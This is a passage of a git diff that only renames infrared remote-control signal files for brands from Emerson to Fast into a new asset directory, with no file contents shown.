b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/VCR/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/VCR/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/VCR/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/VCR/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/VCR/40,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/40,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/VCR/40,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/40,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Projector/131,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Projector/131,85.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Projector/131,85.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Projector/131,85.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Video Projector/131,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Video Projector/131,85.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Video Projector/131,85.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Video Projector/131,85.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Management/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Management/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Management/14,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/14,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Management/14,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/14,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Management/91,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/91,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Management/91,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/91,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Library/1,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Library/1,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Library/1,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Library/1,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Library/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Library/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Library/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Library/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/1,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/1,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/1,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/1,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/2,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/2,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/2,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/2,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/3,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/3,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/3,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/3,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/4,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/4,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/4,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/4,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/1,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/1,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/1,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/1,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/4,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/4,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/4,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/4,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/1,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/1,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/1,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/1,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/2,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/2,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/2,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/2,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/3,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/3,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/3,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/3,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/33,184.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/33,184.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/33,184.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/33,184.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/4,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/4,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/4,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/4,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/48,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/48,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/48,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Server/1,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Server/1,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Server/1,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Server/1,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Server/4,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Server/4,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Server/4,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Server/4,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Extron/Switcher/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Extron/Switcher/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Extron/Switcher/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Extron/Switcher/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Extron/Switcher/128,84.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Extron/Switcher/128,84.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Extron/Switcher/128,84.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Extron/Switcher/128,84.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/FSC/DVD Player/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FSC/DVD Player/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/FSC/DVD Player/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FSC/DVD Player/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Processor/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Processor/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Processor/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Processor/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fast/TV/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fast/TV/28,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fast/TV/28,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fast/TV/28,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fast/TVS/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fast/TVS/28,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fast/TVS/28,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fast/TVS/28,-1.ir diff --git 